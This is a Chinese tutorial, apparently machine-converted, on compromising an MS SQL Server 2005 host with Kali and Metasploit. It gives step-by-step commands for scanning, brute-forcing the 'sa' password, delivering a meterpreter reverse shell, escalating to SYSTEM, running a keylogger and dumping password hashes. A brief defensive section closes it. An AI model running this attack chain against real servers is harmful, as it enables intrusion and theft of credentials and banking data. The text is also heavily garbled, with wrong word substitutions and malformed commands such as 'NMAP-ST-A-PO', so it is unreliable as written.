當(dāng)談及SQL辦事器，幾近所有的系統(tǒng)治理員和數(shù)據(jù)庫治理員城市同意如許一個(gè)不雅點(diǎn)：治理員其實(shí)不都有設(shè)置復(fù)雜暗碼的意識(shí)?？雌饋磉@或許便利手藝撐持人員進(jìn)行簡單故障解除，但卻太低評估了它的風(fēng)險(xiǎn)性。當(dāng)然這些還不首要，首要的是，它更等閑讓報(bào)復(fù)打擊者報(bào)復(fù)打擊系統(tǒng)。
在此次報(bào)復(fù)打擊中，我們將利用到的是Linux Kali和預(yù)裝了的Metasploit框架，我們的方針計(jì)較機(jī)是一臺(tái)運(yùn)行有Microsoft SQL Server 2005的Windows XP系統(tǒng)計(jì)較機(jī)。當(dāng)然，一樣的報(bào)復(fù)打擊也能夠在任何MS SQL平臺(tái)和Windows把持系統(tǒng)下進(jìn)行，因?yàn)樵谶@里系統(tǒng)的弱點(diǎn)是暗碼的強(qiáng)度，而不是環(huán)境本身。
探測
猶如所有的報(bào)復(fù)打擊一樣，起首我們要對方針計(jì)較機(jī)的系統(tǒng)信息等進(jìn)行匯集。
我們的選擇的是利用nmap東西來掃描某一個(gè)IP范圍的SQL的通用端口(1433)。
號(hào)令：
NMAP-ST-A-PO 192.168.23.0/24
Metasploit也內(nèi)置了mssql_ping掃描，可以在一個(gè)特定的IP范圍辨認(rèn)任何微軟的SQL辦事。
號(hào)令：
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.23.0/24 (我們方針的IP段)
set THREADS 8
run
此刻，我們已知道我們的方針系統(tǒng)(192.168.23.100)，和Microsoft SQL Server(版本2005 SP4，TCP端口1433)等一些細(xì)節(jié)，我們可以繼續(xù)進(jìn)行下一個(gè)步調(diào)。
報(bào)復(fù)打擊
此次報(bào)復(fù)打擊是基于一個(gè)簡單的道理。在大年夜大都環(huán)境下，微軟的SQL辦事器將被安裝在一個(gè)同化模式下。它的默許用戶是“sa”，良多時(shí)辰對默許用戶只有一個(gè)簡單的暗碼。這意味著它會(huì)比較等閑進(jìn)行暴力破解獲得暗碼，利用字典文件。這些字典文件可以從網(wǎng)上下載或本身生成。生成定制字典的好處是，承諾手動(dòng)添加特定的術(shù)語和字段，好比在安裝利用法度是可能利用軟相干件名稱或發(fā)賣商作為暗碼。例如，Sandstone的數(shù)據(jù)庫暗碼就很多是像“Sandstone01”如許的字段。
對報(bào)復(fù)打擊，我們將利用內(nèi)置的東西MSSQL_Login。指定方針和暗碼文件以后，報(bào)復(fù)打擊就開端了。
號(hào)令：
use auxiliary/scanner/mssql/mssql_login
Set PASS_FILE /root/passwords.txt (字典文件)
Set RHOSTS 192.168.23.100
Set Threads 8
Set verbose false
run
假定假定這一步報(bào)復(fù)打擊成功便可以獲得到“SA”的暗碼。其間價(jià)值還用在多說甚么，承諾數(shù)據(jù)庫操有木有!可是，在此次報(bào)復(fù)打擊中，我們將利用SA帳戶來拜候底層的Windows把持系統(tǒng)。
開辟
此刻我們可以用這個(gè)SA暗碼與我們的方針計(jì)較機(jī)成立聯(lián)系。Kali Linux內(nèi)置有一個(gè)名為mssql_payload的東西。這個(gè)東西將承諾我們經(jīng)由過程端口1433發(fā)送我們新的登岸根據(jù)的有效載荷。在這里我們就是基于此報(bào)復(fù)打擊方針與我們之間的會(huì)話的。
號(hào)令：
use exploit/windows/mssql/mssql_payload
set RHOST 192.168.23.100 (我們的方針)
set password Password01 (我們方才獲得的暗碼)
use payload/windows/meterpreter/reverse_tcp(our selected payload)
exploit
此刻，有趣的工作開端。我們已打開了方針會(huì)話，從這里我們可以進(jìn)行良多號(hào)令了。但要謹(jǐn)慎，別手抖。當(dāng)我們將Meterpreter文件安裝到方針計(jì)較機(jī)的時(shí)辰，良多病毒防御法度會(huì)對其進(jìn)行檢測、反對和并刪除措置。從以往的經(jīng)驗(yàn)來看，我想說良多SQL辦事器治理員城市避免利用任掃描中任何的拜候情勢，從而可以獲得最大年夜的機(jī)能由辦事器托管數(shù)據(jù)庫。假定該方針計(jì)較機(jī)一向在在運(yùn)行，例如，一個(gè)徹夜的病毒掃描，它會(huì)留給報(bào)復(fù)打擊者充沛的時(shí)候來進(jìn)行報(bào)復(fù)打擊和匯集系統(tǒng)數(shù)據(jù)，然后自在分開，深躲功與名。
除利用的Meterpreter有效載荷，其他的有效載荷也可利用。這里的履行號(hào)令如上述相類，只是改變有效負(fù)載名稱的標(biāo)題問題罷了。好比，有效載荷“generic/shell_bind_tcp”，將在號(hào)令提示符下拜候方針系統(tǒng)。
提權(quán)
對良多號(hào)令來講，我們需要晉升我們用戶的拜候權(quán)限。好比利用截取屏幕東西、鍵盤記實(shí)東西和提取暗碼哈希值東西等都需要治理員權(quán)限來運(yùn)行。
在這里我們利用了簡單的Meterpreter shell。起首，我們利用ps號(hào)令生成一系列過程。然后，我們可利用migrate號(hào)令將一個(gè)過程晉升至更高系統(tǒng)拜候許可。在這類環(huán)境下，這將好比是explorer.exe過程。
此刻有我們需要利用一個(gè)額外的號(hào)令：getsystem。這將使Meterpreter系統(tǒng)的migrate號(hào)令得以實(shí)現(xiàn)。假定沒有這一點(diǎn)，“權(quán)限不足”，過程晉升將不克不及進(jìn)行。
號(hào)令：
Ps(這將顯示正在運(yùn)行的過程及其響應(yīng)的PID的)
Getsystem(獲得系統(tǒng)權(quán)限)
Migrate 1064(在該例子中的explorer.exePID)
數(shù)據(jù)匯集
此刻，我們有了完全的系統(tǒng)拜候權(quán)想，我們可利用一些其他的東西來匯集我們所需要的數(shù)據(jù)。
號(hào)令：
Screenshot
在這里將成立方針的截圖，然后以jpeg格局保留。
號(hào)令：
Run post/windows/capture/keylog_recorder
這將在方針上運(yùn)行一個(gè)鍵盤記實(shí)東西和將鍵盤記實(shí)從頭編碼的保留在系統(tǒng)中的文本文件中。鍵盤記實(shí)可以獲得獲得網(wǎng)頁的登錄信息，銀行帳戶和諾言卡信息等。雖然其間有反病毒防御法度，可是，還是可以輕松地拿到這個(gè)鍵盤記實(shí)。
號(hào)令：
Migrate 772(Services.exe的PID)
Run post/windows/gather/hashdump
在一個(gè)系統(tǒng)頂用戶口令凡是存儲(chǔ)hash值中，可以經(jīng)由過程純碎的暴力破解或是字典、彩虹表等編制進(jìn)行破解。此處作者為本身之前的一篇相干文章打了告白——
http://resources.infosecinstitute.com/password-auditing-on-active-directory-databases/
為了獲得方針系統(tǒng)的hash值，我們需要晉升services.exe過程，以便可以或許獲得足夠的系統(tǒng)的拜候權(quán)限。
這些hash值可以用良多暴力破解東西，好比Ophcrack的和Hashcat。
成果
在以上幾個(gè)簡單步調(diào)中，我們可以看到我們已可以經(jīng)由過程利用一個(gè)開放的SQL Server端口繞過任何防火墻，不但獲得了完全的數(shù)據(jù)庫拜候權(quán)限，并據(jù)此進(jìn)一步獲得完全的把持系統(tǒng)拜候權(quán)限。該鍵盤記實(shí)和提取hash值還可能匯集更多有效的收集的具體信息，如用戶名和暗碼，和很可能獲得進(jìn)一步拜候其他系統(tǒng)的信息。
若何抵抗這類報(bào)復(fù)打擊
有幾個(gè)建議可以呵護(hù)系統(tǒng)免受這類報(bào)復(fù)打擊。起首，利用“準(zhǔn)確”的暗碼!不管出于甚么啟事，一個(gè)SQL辦事器的SA的暗碼，不該該可以不消花多大年夜精力便可以暴力破解的。別的，安裝一個(gè)進(jìn)侵檢測系統(tǒng)或干脆主動(dòng)或手動(dòng)監(jiān)控日記，如許可以按照大年夜量的掉敗登岸日記檢測出暴力報(bào)復(fù)打擊。另外一個(gè)別例就是在系統(tǒng)運(yùn)行一個(gè)病毒防御軟件。在這個(gè)例子中，有效載荷會(huì)在報(bào)復(fù)打擊之前被偵測到并刪除或隔離。